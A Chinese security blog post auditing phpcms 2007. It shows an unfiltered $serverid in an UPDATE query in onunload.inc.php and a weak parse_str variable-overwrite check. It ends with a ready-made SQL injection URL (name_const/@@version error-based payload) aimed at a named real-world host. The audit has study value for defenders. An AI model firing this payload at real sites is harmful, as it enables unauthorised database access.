您的位置 » 首页 » 代码审计,实用工具 » 代码审计:phpcms 2007 onunload.inc.php的update型注入附利用EXP

代码审计:phpcms 2007 onunload.inc.php的update型注入附利用EXP

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年06月05日 | 文章热度:4,828 次 全屏阅读

显示不全请点击全屏阅读

博主PS:代码审计的工具马上要出来了,完全重构这个东西,完全重写代码,高精确度自动白盒审计漏洞,代码高亮,代码调试,函数查询,变量/函数追查,还有很多实用的功能,之前的垃圾就不要下载了,我自己看着都丢人。

 

下载了一套phpcms 2007进行分析,在module\movie\onunload.inc.php里发现了一个update型的注入。  

<?php
defined('IN_PHPCMS') or exit('Access Denied');
$serverid ? 1 : showmessage($LANG['illegal_operation']);
$db->query("UPDATE ".TABLE_MOVIE_SERVER." SET `num` = (num-1) WHERE serverid = $serverid AND num > 0 ");
?>

 

$serverid没有进行任何过滤也没有用单引号括起来,所以无视gpc。

核心文件include\common.inc.php里大概80左右变量覆盖漏洞。

 

if($PHP_QUERYSTRING && preg_match("/^(.*)\.(htm|html|shtm|shtml)$/", $PHP_QUERYSTRING, $urlvar))
{
 parse_str(str_replace(array('/', '-', ' '), array('&', '=', ''), $urlvar[1]));
}

 

这个判断太弱了,判断querystring是不是等于静态文件后缀,结尾随便加个参数赋个静态文件的值就过了,经过parse_str就产生了。

漏洞太多了不继续分析了。

 

EXP:

 http://weather.cctv.com/cms/movie/onunload.php?serverid=1+and+exists%28select*from+%28select*from%28select+name_const%28@@version,0%29%29a+join+%28select+name_const%28@@version,0%29%29b%29c%29 

 

 

 

作者:b4dboy

Tags:

phpcms漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2946/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有2个筒子的人留下了脚印...

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)